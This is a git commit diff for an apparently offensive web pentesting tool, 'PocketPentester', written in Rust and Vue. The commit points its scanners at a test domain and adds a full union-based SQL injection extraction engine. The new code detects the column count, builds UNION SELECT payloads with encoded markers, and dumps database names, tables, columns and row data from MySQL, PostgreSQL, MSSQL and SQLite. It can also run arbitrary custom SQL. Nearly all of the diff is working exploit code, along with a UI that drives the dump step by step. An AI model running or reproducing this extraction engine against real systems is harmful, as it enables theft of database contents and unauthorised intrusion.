Update application to use insecure.newploit.com as the target domain

- Changed base URLs and targets in multiple modules to point to insecure.newploit.com for testing purposes.
- Updated README.md to reflect the new domain and provide instructions for setting up the reverse proxy.
- Adjusted configurations in AdminFinder, AutoPwn, Banner, DirFuzz, DnsTools, FormBrute, HttpProbe, PortScan, Repeater, Sqli, SslScan, SubEnum, Xploiter, and Xss components.
This commit is contained in:
taqin
2026-04-25 22:59:51 +07:00
parent f556ac5cd2
commit 4b0a402a4e
17 changed files with 871 additions and 58 deletions

View File

@@ -25,6 +25,8 @@ pub fn run() {
httpx::http_probe,
takeover::takeover_scan,
sqli::sqli_scan,
sqli::sqli_dump,
sqli::sqli_probe_union,
xss::xss_scan,
jwt::jwt_analyze,
xploiter::xploit_run,

View File

@@ -103,6 +103,11 @@ pub struct SqliFinding {
pub evidence: String,
pub confidence: String,
pub extracted: HashMap<String, String>,
/// Original request context — used to drive sqli_dump on a confirmed
/// union finding. Frontend echoes these back.
pub base_value: String,
pub union_cols: Option<usize>,
pub union_position: Option<usize>,
}
// ------------------------------------------------------------------
@@ -148,6 +153,23 @@ static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
]),
]);
fn hex_literal(s: &str) -> String {
let mut out = String::from("0x");
for b in s.as_bytes() {
out.push_str(&format!("{:02x}", b));
}
out
}
/// MySQL CHAR(n,n,...) builds the marker server-side from byte codes.
/// The raw injected payload then never contains the marker's ASCII bytes,
/// so matching the marker in the response body proves the DB actually
/// produced it (not just echoing our URL back).
fn mysql_char_literal(s: &str) -> String {
let parts: Vec<String> = s.as_bytes().iter().map(|b| b.to_string()).collect();
format!("CHAR({})", parts.join(","))
}
fn detect_dbms(body: &str) -> Option<&'static str> {
for (db, regexes) in DBMS_ERRORS.iter() {
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
@@ -552,35 +574,59 @@ async fn test_time_based(
None
}
static ORDER_BY_ERR: Lazy<Regex> = Lazy::new(|| Regex::new(
r"(?i)(unknown column ['`]?\d+['`]? in ['`]?order|order by position number \d+ is out of range|1st order by term out of range|order by clause is not in select list)"
).unwrap());
async fn test_union_based(
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>, usize, usize)> {
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
// Step 1: find column count via ORDER BY
// Baseline: response for a guaranteed-good n=1 after each prefix is
// recorded and subsequent n's are compared. Relying on generic text
// like "order by" in the body is unreliable because many apps echo
// the failing query back.
let mut cols: usize = 0;
for (prefix, _suffix) in boundaries(level).iter() {
let mut last_ok: usize = 0;
for n in 1..=20 {
// baseline for THIS prefix — ORDER BY 1 should always succeed if
// the injection is valid at all.
let base_full = apply_tamper(&format!("{}{} ORDER BY 1-- -", point.base_value, prefix), tamper);
let (base_body, base_status, _) = match send(client, target, point, &base_full).await {
Some(v) => v,
None => continue,
};
// If ORDER BY 1 itself errors (this prefix is wrong) — skip.
if ORDER_BY_ERR.is_match(&base_body) || base_status >= 500 { continue; }
let mut last_ok: usize = 1;
for n in 2..=20 {
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
let err = detect_dbms(&body).is_some()
|| body.to_lowercase().contains("unknown column")
|| body.to_lowercase().contains("order by");
if let Some((body, status, _)) = send(client, target, point, &full).await {
let err = status >= 500
|| ORDER_BY_ERR.is_match(&body)
|| similarity(&base_body, &body) < 0.55;
if err { break; } else { last_ok = n; }
} else { break; }
}
if last_ok > 0 {
cols = last_ok;
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
// Build the marker via CHAR(n,n,...) so the raw injected
// query never contains the marker's ASCII. Many apps reflect
// the raw GET/POST param in the page (e.g. `<h1>User #<?=$id?>`),
// which used to false-positive every column. With CHAR() the
// marker only appears when the DB actually produced the row.
let marker_expr = mysql_char_literal(&marker);
// Step 2: UNION SELECT with NULLs, replace one at a time with marker
for position in 1..=cols {
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
format!("'{}'", marker)
marker_expr.clone()
} else { "NULL".to_string() }).collect();
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((body, _, _)) = send(client, target, point, &full).await {
if body.contains(&marker) {
// injectable column found — try extracting data
// injectable column found — extract data with hex-wrapped concat
let mut extracted: HashMap<String, String> = HashMap::new();
let probes = [
("version", "version()"),
@@ -588,16 +634,17 @@ async fn test_union_based(
("db", "database()"),
];
for (name, expr) in probes {
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
fields[position - 1] = format!("CONCAT({m},{e},{m})", m=marker_expr, e=expr);
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
point.base_value, prefix, fields.join(",")), tamper);
if let Some((b, _, _)) = send(client, target, point, &ep).await {
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}",
m = regex::escape(&marker))).unwrap();
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
extracted.insert(name.into(), c.as_str().to_string());
}
}
fields[position - 1] = format!("'{}'", marker);
fields[position - 1] = marker_expr.clone();
}
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
let lo = v.to_lowercase();
@@ -613,6 +660,8 @@ async fn test_union_based(
format!("union injection at column {position}/{cols}, marker reflected"),
dbms,
extracted,
cols,
position,
));
}
}
@@ -700,6 +749,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -719,6 +770,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -728,7 +781,7 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
// union-based
if req.techniques.iter().any(|t| t == "union") {
if let Some((pre, suf, payload, evidence, db, extracted)) =
if let Some((pre, suf, payload, evidence, db, extracted, ucols, upos)) =
test_union_based(&client, &target, point, req.level, &req.tamper).await
{
let f = SqliFinding {
@@ -738,6 +791,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted,
base_value: point.base_value.clone(),
union_cols: Some(ucols), union_position: Some(upos),
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -757,6 +812,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
base_value: point.base_value.clone(),
union_cols: None, union_position: None,
};
let _ = app.emit("sqli:hit", f.clone());
findings.push(f);
@@ -768,3 +825,371 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
let _ = app.emit("sqli:done", findings.len());
Ok(findings)
}
// ===================================================================
// Dump engine — drives union-based extraction after a confirmed finding.
//
// Actions: "databases" | "tables" | "columns" | "rows" | "custom"
// DBMS : "MySQL" | "MariaDB" | "PostgreSQL" | "MSSQL" | "SQLite"
//
// Strategy: build a subquery that returns a single delimited string, wrap
// it in the DBMS-specific concat(marker, subq, marker), then inject into
// the confirmed UNION position. Parse by regex + delimiter split.
//
// Row dumps use U+007F (\x7f) as intra-row delimiter and `|` between rows.
// ===================================================================
#[derive(Debug, Clone, Deserialize)]
pub struct SqliDumpRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
#[serde(default)]
pub body: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub cookies: Option<String>,
// injection context (from a previous finding)
pub param: String,
pub location: String,
pub base_value: String,
pub prefix: String,
pub cols: usize,
pub position: usize,
pub dbms: String,
// dump controls
pub action: String,
#[serde(default)]
pub database: Option<String>,
#[serde(default)]
pub table: Option<String>,
#[serde(default)]
pub columns: Option<Vec<String>>,
#[serde(default = "default_dump_limit")]
pub limit: usize,
#[serde(default)]
pub offset: usize,
#[serde(default)]
pub custom_sql: Option<String>,
#[serde(default)]
pub tamper: Vec<String>,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_true")]
pub follow_redirects: bool,
}
fn default_dump_limit() -> usize { 100 }
#[derive(Debug, Clone, Serialize)]
pub struct SqliDumpResult {
pub dbms: String,
pub action: String,
pub headers: Vec<String>,
pub rows: Vec<Vec<String>>,
pub count: usize,
pub truncated: bool,
pub raw_payload: String,
pub raw_captured: String,
}
fn normalize_dbms(d: &str) -> &str {
let lo = d.to_lowercase();
if lo.contains("maria") || lo.contains("mysql") { "MySQL" }
else if lo.contains("postgres") { "PostgreSQL" }
else if lo.contains("mssql") || lo.contains("sql server") { "MSSQL" }
else if lo.contains("sqlite") { "SQLite" }
else if lo.contains("oracle") { "Oracle" }
else { "MySQL" }
}
fn dump_expr(
dbms: &str, action: &str,
db: Option<&str>, table: Option<&str>, cols: &[String],
limit: usize, offset: usize, custom: Option<&str>,
) -> String {
let d = dbms.to_string();
match (d.as_str(), action) {
("MySQL", "databases") =>
"(SELECT GROUP_CONCAT(schema_name SEPARATOR 0x7c) FROM information_schema.schemata)".into(),
("MySQL", "tables") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
format!("(SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c) FROM information_schema.tables WHERE table_schema={d_lit})")
}
("MySQL", "columns") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
let t = table.unwrap_or("");
format!("(SELECT GROUP_CONCAT(column_name SEPARATOR 0x7c) FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
}
("MySQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("`{}`.`{}`", x.replace('`', ""), t.replace('`', "")),
_ => format!("`{}`", t.replace('`', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("IFNULL(`{}`,'')", c.replace('`', ""))).collect();
let concat = format!("CONCAT_WS(0x7f,{})", cl.join(","));
format!("(SELECT GROUP_CONCAT({} SEPARATOR 0x7c) FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
}
("PostgreSQL", "databases") =>
"(SELECT string_agg(datname,'|') FROM pg_database WHERE datistemplate=false)".into(),
("PostgreSQL", "tables") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
format!("(SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname={})", d_lit)
}
("PostgreSQL", "columns") => {
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
let t = table.unwrap_or("");
format!("(SELECT string_agg(column_name,'|') FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
}
("PostgreSQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("\"{}\".\"{}\"", x.replace('"', ""), t.replace('"', "")),
_ => format!("\"{}\"", t.replace('"', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("COALESCE(\"{}\"::text,'')", c.replace('"', ""))).collect();
let concat = cl.join("||chr(127)||");
format!("(SELECT string_agg({}, '|') FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
}
("MSSQL", "databases") =>
"(SELECT STRING_AGG(name,'|') FROM master.sys.databases)".into(),
("MSSQL", "tables") => {
match db { Some(x) if !x.is_empty() =>
format!("(SELECT STRING_AGG(name,'|') FROM {}.sys.tables)", x.replace('[', "").replace(']', "")),
_ => "(SELECT STRING_AGG(name,'|') FROM sys.tables)".into()
}
}
("MSSQL", "columns") => {
let t = table.unwrap_or("");
format!("(SELECT STRING_AGG(name,'|') FROM sys.columns WHERE object_id=OBJECT_ID('{}'))", esc_sq(t))
}
("MSSQL", "rows") => {
let t = table.unwrap_or("");
let qn = match db {
Some(x) if !x.is_empty() => format!("[{}].[dbo].[{}]", x.replace('[', "").replace(']', ""), t.replace('[', "").replace(']', "")),
_ => format!("[{}]", t.replace('[', "").replace(']', "")),
};
let cl: Vec<String> = cols.iter().map(|c| format!("ISNULL(CAST([{}] AS NVARCHAR(MAX)),'')", c.replace('[', "").replace(']', ""))).collect();
let concat = cl.join("+CHAR(127)+");
format!("(SELECT STRING_AGG({}, '|') FROM (SELECT TOP {} * FROM {}) x)", concat, limit, qn)
}
("SQLite", "databases") => "(SELECT 'main')".into(),
("SQLite", "tables") =>
"(SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table')".into(),
("SQLite", "columns") => {
let t = table.unwrap_or("");
format!("(SELECT group_concat(name,'|') FROM pragma_table_info('{}'))", esc_sq(t))
}
("SQLite", "rows") => {
let t = table.unwrap_or("");
let cl: Vec<String> = cols.iter().map(|c| format!("ifnull(\"{}\",'')", c.replace('"', ""))).collect();
let concat = cl.join("||char(127)||");
format!("(SELECT group_concat({}, '|') FROM (SELECT * FROM \"{}\" LIMIT {} OFFSET {}) x)", concat, t.replace('"', ""), limit, offset)
}
(_, "custom") => custom.unwrap_or("NULL").to_string(),
_ => "NULL".into(),
}
}
fn esc_sq(s: &str) -> String { s.replace('\'', "''") }
fn wrap_marker(dbms: &str, marker: &str, expr: &str) -> String {
match dbms {
// MySQL: CHAR(n,n,...) — marker bytes never appear in raw payload,
// so apps that reflect the GET/POST param (e.g. <h1><?= $id ?>)
// can't false-positive our regex.
"MySQL" => {
let m = mysql_char_literal(marker);
format!("CONCAT({m},{e},{m})", m = m, e = expr)
}
"PostgreSQL" | "SQLite" => format!("('{m}'||({e})||'{m}')", m = marker, e = expr),
"MSSQL" => format!("('{m}' + CAST(({e}) AS NVARCHAR(MAX)) + '{m}')", m = marker, e = expr),
_ => expr.to_string(),
}
}
fn parse_dump_captured(action: &str, captured: &str, cols: &Option<Vec<String>>) -> (Vec<String>, Vec<Vec<String>>) {
if captured.is_empty() { return (Vec::new(), Vec::new()); }
match action {
"databases" | "tables" | "columns" => {
let header = match action { "databases" => "database", "tables" => "table", _ => "column" };
let rows: Vec<Vec<String>> = captured.split('|')
.filter(|s| !s.is_empty())
.map(|s| vec![s.to_string()])
.collect();
(vec![header.into()], rows)
}
"rows" => {
let hdr = cols.clone().unwrap_or_default();
let rows: Vec<Vec<String>> = captured.split('|')
.filter(|s| !s.is_empty())
.map(|r| r.split('\u{7f}').map(String::from).collect())
.collect();
(hdr, rows)
}
_ => (vec!["result".into()], vec![vec![captured.to_string()]]),
}
}
// ------------------------------------------------------------------
// On-demand UNION probe — used when dump is requested on an
// error/boolean/time finding that never ran union during the scan
// (e.g. stop_on_first stopped at error-based).
// ------------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
pub struct SqliProbeUnionRequest {
pub url: String,
#[serde(default = "default_method")]
pub method: String,
#[serde(default)]
pub body: Option<String>,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub cookies: Option<String>,
pub param: String,
pub location: String,
pub base_value: String,
#[serde(default = "default_level")]
pub level: u8,
#[serde(default)]
pub tamper: Vec<String>,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_true")]
pub follow_redirects: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct SqliProbeUnionResult {
pub prefix: String,
pub cols: usize,
pub position: usize,
pub dbms: Option<String>,
pub extracted: HashMap<String, String>,
}
#[tauri::command]
pub async fn sqli_probe_union(_app: AppHandle, req: SqliProbeUnionRequest) -> Result<SqliProbeUnionResult, String> {
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
let body_is_json = req.headers.iter().any(|(k, v)|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
let target = Target {
url, method: req.method, body: req.body, body_is_json,
headers: req.headers, cookies: req.cookies,
};
let point = InjectionPoint { location: req.location, name: req.param, base_value: req.base_value };
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
.cookie_store(false)
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/probe)")
.build()
.map_err(|e| e.to_string())?;
match test_union_based(&client, &target, &point, req.level, &req.tamper).await {
Some((prefix, _suffix, _payload, _evidence, dbms, extracted, cols, position)) => {
Ok(SqliProbeUnionResult {
prefix, cols, position,
dbms: dbms.map(|s| s.to_string()),
extracted,
})
}
None => Err("union probe failed — ORDER BY column count not found or UNION blocked".into()),
}
}
#[tauri::command]
pub async fn sqli_dump(app: AppHandle, req: SqliDumpRequest) -> Result<SqliDumpResult, String> {
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
let body_is_json = req.headers.iter().any(|(k, v)|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
let target = Target {
url, method: req.method.clone(), body: req.body.clone(), body_is_json,
headers: req.headers.clone(), cookies: req.cookies.clone(),
};
let point = InjectionPoint {
location: req.location.clone(),
name: req.param.clone(),
base_value: req.base_value.clone(),
};
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
.cookie_store(false)
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/dump)")
.build()
.map_err(|e| e.to_string())?;
let dbms = normalize_dbms(&req.dbms).to_string();
let marker = format!("xpl{:04}dmp", rand::random::<u16>());
let subq = dump_expr(
&dbms, &req.action,
req.database.as_deref(), req.table.as_deref(),
req.columns.as_deref().unwrap_or(&[]),
req.limit, req.offset, req.custom_sql.as_deref(),
);
let wrapped = wrap_marker(&dbms, &marker, &subq);
let cols_count = req.cols.max(1);
let pos = req.position.max(1).min(cols_count);
let fields: Vec<String> = (1..=cols_count)
.map(|i| if i == pos { wrapped.clone() } else { "NULL".into() })
.collect();
let injected = apply_tamper(
&format!("{}{} UNION SELECT {}-- -", point.base_value, req.prefix, fields.join(",")),
&req.tamper,
);
let _ = app.emit("sqli:dump:status",
format!("{} · dbms={} · marker={} · {}col@{}", req.action, dbms, marker, cols_count, pos));
let (body, status, elapsed) = send(&client, &target, &point, &injected).await
.ok_or_else(|| "request failed or timed out".to_string())?;
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", m = regex::escape(&marker)))
.map_err(|e| e.to_string())?;
let captured = re.captures(&body)
.and_then(|c| c.get(1))
.map(|m| m.as_str().to_string())
.unwrap_or_default();
if captured.is_empty() {
// surface backend errors so the UI can show what went wrong
let snippet = if body.len() > 400 {
format!("{}...", body.chars().take(400).collect::<String>())
} else { body.clone() };
return Err(format!("no marker in response (status={} elapsed={}ms). body: {}", status, elapsed, snippet));
}
let (headers, rows) = parse_dump_captured(&req.action, &captured, &req.columns);
let count = rows.len();
// GROUP_CONCAT / STRING_AGG truncation hints
let truncated = match dbms.as_str() {
"MySQL" => captured.len() > 1020, // default group_concat_max_len = 1024
_ => false,
};
Ok(SqliDumpResult {
dbms: dbms.clone(),
action: req.action.clone(),
headers,
rows,
count,
truncated,
raw_payload: injected,
raw_captured: captured,
})
}

View File

@@ -17,7 +17,7 @@ interface AdminHit {
redirect?: string;
}
const baseUrl = ref("https://example.com");
const baseUrl = ref("https://insecure.newploit.com");
const useBuiltin = ref(true);
const extraPaths = ref("");
const acceptStatusStr = ref("200,301,302,401,403");

View File

@@ -23,10 +23,10 @@ interface StageState {
hits: number;
}
const domain = ref("example.com");
const domain = ref("insecure.newploit.com");
const usePassive = ref(true);
const bruteList = ref("www,api,dev,staging,admin,mail,app,portal,vpn,test,beta,m,shop,blog,docs,git,jenkins,jira,grafana,prometheus,sso,auth,login,dashboard,internal");
const ports = ref("80,443,8080,8443");
const ports = ref("80,443");
const concurrency = ref(30);
const timeoutMs = ref(8000);

View File

@@ -14,7 +14,7 @@ interface Hit {
bytes: number;
}
const host = ref("scanme.nmap.org");
const host = ref("insecure.newploit.com");
const portSpec = ref("21,22,23,25,80,110,143,443,445,465,587,993,995,1433,3306,3389,5432,5900,6379,8080,8443,9200,27017");
const concurrency = ref(30);
const timeoutMs = ref(4000);

View File

@@ -18,7 +18,7 @@ interface DirHit {
time_ms: number;
}
const baseUrl = ref("https://example.com");
const baseUrl = ref("https://insecure.newploit.com");
const wordlist = ref("");
const extensions = ref(".php,.html,.bak,.zip,.json,.txt");
const acceptStatusStr = ref("200,201,204,301,302,307,308,401,403,405");

View File

@@ -15,7 +15,7 @@ interface Report {
errors: string[];
}
const domain = ref("example.com");
const domain = ref("insecure.newploit.com");
const resolver = ref("");
const tryAxfr = ref(false);
const running = ref(false);

View File

@@ -16,7 +16,7 @@ interface Hit {
time_ms: number;
}
const url = ref("https://target.com/login.php");
const url = ref("https://insecure.newploit.com/login.php");
const method = ref("POST");
const bodyTemplate = ref("username={USER}&password={PASS}");
const headersRaw = ref("");

View File

@@ -5,7 +5,7 @@ import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
const targets = ref("example.com\nscanme.nmap.org");
const targets = ref("insecure.newploit.com");
const ports = ref("80,443,8080,8443");
const concurrency = ref(50);
const timeoutMs = ref(5000);

View File

@@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
const target = ref("scanme.nmap.org");
const target = ref("insecure.newploit.com");
const portSpec = ref("top1000");
const concurrency = ref(200);
const timeoutMs = ref(1500);

View File

@@ -27,7 +27,7 @@ interface HistoryItem {
}
const method = ref("GET");
const url = ref("https://example.com/");
const url = ref("https://insecure.newploit.com/");
const headersRaw = ref("User-Agent: Mozilla/5.0 (PocketPentester)\nAccept: */*");
const body = ref("");
const followRedirects = ref(false);

View File

@@ -18,9 +18,39 @@ interface Finding {
evidence: string;
confidence: string;
extracted: Record<string, string>;
base_value: string;
union_cols?: number | null;
union_position?: number | null;
}
const url = ref("https://target.com/item.php?id=1");
interface DumpResult {
dbms: string;
action: string;
headers: string[];
rows: string[][];
count: number;
truncated: boolean;
raw_payload: string;
raw_captured: string;
}
interface DumpSession {
finding: Finding;
databases: string[];
selectedDb: string;
tables: string[];
selectedTable: string;
columns: string[];
selectedCols: Set<string>;
limit: number;
offset: number;
rowsResult: DumpResult | null;
busy: boolean;
err: string;
lastPayload: string;
}
const url = ref("https://insecure.newploit.com/profile.php?id=1");
const method = ref("GET");
const body = ref("");
const headersRaw = ref("");
@@ -35,7 +65,7 @@ const tTime = ref(false);
const level = ref(2);
const risk = ref(1);
const stopOnFirst = ref(true);
const stopOnFirst = ref(false);
const autoExtract = ref(true);
const followRedirects = ref(true);
@@ -47,9 +77,182 @@ const concurrency = ref(4);
const timeoutMs = ref(15000);
const running = ref(false);
const findings = ref<Finding[]>([]);
const dumpSessions = ref<Record<number, DumpSession>>({});
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
function getOrCreateSession(idx: number, f: Finding): DumpSession {
if (!dumpSessions.value[idx]) {
dumpSessions.value[idx] = {
finding: f,
databases: [],
selectedDb: "",
tables: [],
selectedTable: "",
columns: [],
selectedCols: new Set(),
limit: 100,
offset: 0,
rowsResult: null,
busy: false,
err: "",
lastPayload: "",
};
}
return dumpSessions.value[idx];
}
function currentTamper(): string[] {
const tamper: string[] = [];
if (tamperRandomcase.value) tamper.push("randomcase");
if (tamperSpace2comment.value) tamper.push("space2comment");
if (tamperEqualToLike.value) tamper.push("equaltolike");
return tamper;
}
async function ensureUnion(f: Finding): Promise<boolean> {
if (f.union_cols && f.union_position) return true;
log.dim(`◌ probing UNION columns for ${f.location}:${f.param}`);
try {
const r = await invoke<{ prefix: string; cols: number; position: number; dbms: string | null; extracted: Record<string, string> }>(
"sqli_probe_union",
{
req: {
url: url.value,
method: method.value,
body: body.value || null,
headers: parseHeaders(),
cookies: cookies.value || null,
param: f.param,
location: f.location,
base_value: f.base_value,
level: level.value,
tamper: currentTamper(),
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
},
},
);
f.prefix = r.prefix;
f.union_cols = r.cols;
f.union_position = r.position;
if (r.dbms) f.dbms = r.dbms;
if (r.extracted) {
for (const [k, v] of Object.entries(r.extracted)) f.extracted[k] = v;
}
log.valid(`● UNION ok → ${r.cols} col(s), injectable @ position ${r.position}, prefix="${r.prefix}"`);
return true;
} catch (e: any) {
log.err(`union probe: ${e}`);
return false;
}
}
async function callDump(f: Finding, action: string, extra: Partial<{
database: string; table: string; columns: string[]; limit: number; offset: number; custom_sql: string;
}>): Promise<DumpResult> {
return await invoke<DumpResult>("sqli_dump", {
req: {
url: url.value,
method: method.value,
body: body.value || null,
headers: parseHeaders(),
cookies: cookies.value || null,
param: f.param,
location: f.location,
base_value: f.base_value,
prefix: f.prefix,
cols: f.union_cols ?? 1,
position: f.union_position ?? 1,
dbms: f.dbms ?? "MySQL",
action,
database: extra.database ?? null,
table: extra.table ?? null,
columns: extra.columns ?? null,
limit: extra.limit ?? 100,
offset: extra.offset ?? 0,
custom_sql: extra.custom_sql ?? null,
tamper: currentTamper(),
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
},
});
}
async function listDatabases(idx: number, f: Finding) {
const s = getOrCreateSession(idx, f);
s.busy = true; s.err = "";
try {
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
const r = await callDump(f, "databases", {});
s.databases = r.rows.map(row => row[0]);
s.lastPayload = r.raw_payload;
log.valid(`● databases: ${s.databases.length}${s.databases.join(", ")}`);
} catch (e: any) {
s.err = String(e); log.err(`databases: ${e}`);
} finally { s.busy = false; }
}
async function listTables(idx: number, f: Finding) {
const s = getOrCreateSession(idx, f);
if (!s.selectedDb) { s.err = "select a database first"; return; }
s.busy = true; s.err = "";
try {
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
const r = await callDump(f, "tables", { database: s.selectedDb });
s.tables = r.rows.map(row => row[0]);
s.lastPayload = r.raw_payload;
log.valid(`● tables in ${s.selectedDb}: ${s.tables.length}`);
} catch (e: any) {
s.err = String(e); log.err(`tables: ${e}`);
} finally { s.busy = false; }
}
async function listColumns(idx: number, f: Finding) {
const s = getOrCreateSession(idx, f);
if (!s.selectedTable) { s.err = "select a table first"; return; }
s.busy = true; s.err = "";
try {
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
const r = await callDump(f, "columns", { database: s.selectedDb, table: s.selectedTable });
s.columns = r.rows.map(row => row[0]);
s.selectedCols = new Set(s.columns);
s.lastPayload = r.raw_payload;
log.valid(`● columns in ${s.selectedTable}: ${s.columns.join(", ")}`);
} catch (e: any) {
s.err = String(e); log.err(`columns: ${e}`);
} finally { s.busy = false; }
}
async function dumpRows(idx: number, f: Finding) {
const s = getOrCreateSession(idx, f);
if (!s.selectedTable) { s.err = "select a table first"; return; }
if (s.selectedCols.size === 0) { s.err = "select at least one column"; return; }
s.busy = true; s.err = "";
try {
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
const orderedCols = s.columns.filter(c => s.selectedCols.has(c));
const r = await callDump(f, "rows", {
database: s.selectedDb,
table: s.selectedTable,
columns: orderedCols,
limit: s.limit,
offset: s.offset,
});
s.rowsResult = r;
s.lastPayload = r.raw_payload;
log.valid(`● dumped ${r.count} row(s) from ${s.selectedTable}${r.truncated ? " [TRUNCATED - increase group_concat_max_len]" : ""}`);
} catch (e: any) {
s.err = String(e); log.err(`dump: ${e}`);
} finally { s.busy = false; }
}
function toggleCol(idx: number, f: Finding, col: string) {
const s = getOrCreateSession(idx, f);
if (s.selectedCols.has(col)) s.selectedCols.delete(col); else s.selectedCols.add(col);
s.selectedCols = new Set(s.selectedCols);
}
function parseHeaders(): Record<string, string> {
const out: Record<string, string> = {};
for (const line of headersRaw.value.split("\n")) {
@@ -206,6 +409,7 @@ onUnmounted(cleanup);
<span class="f-tech">{{ f.technique }}</span>
<span class="f-loc">{{ f.location }} / <b>{{ f.param }}</b></span>
<span v-if="f.dbms" class="f-dbms">{{ f.dbms }}</span>
<span v-if="f.union_cols" class="f-dbms">{{ f.union_cols }}col @ {{ f.union_position }}</span>
<span class="sev" :class="`sev-${f.confidence.toLowerCase()}`">{{ f.confidence }}</span>
</div>
<div class="f-payload">
@@ -219,6 +423,81 @@ onUnmounted(cleanup);
<span class="k">{{ k }}:</span> <span class="v">{{ v }}</span>
</div>
</div>
<!-- Dump panel — shown for any finding. Union cols are
probed on-demand if the scan never ran UNION. -->
<div class="dump-panel">
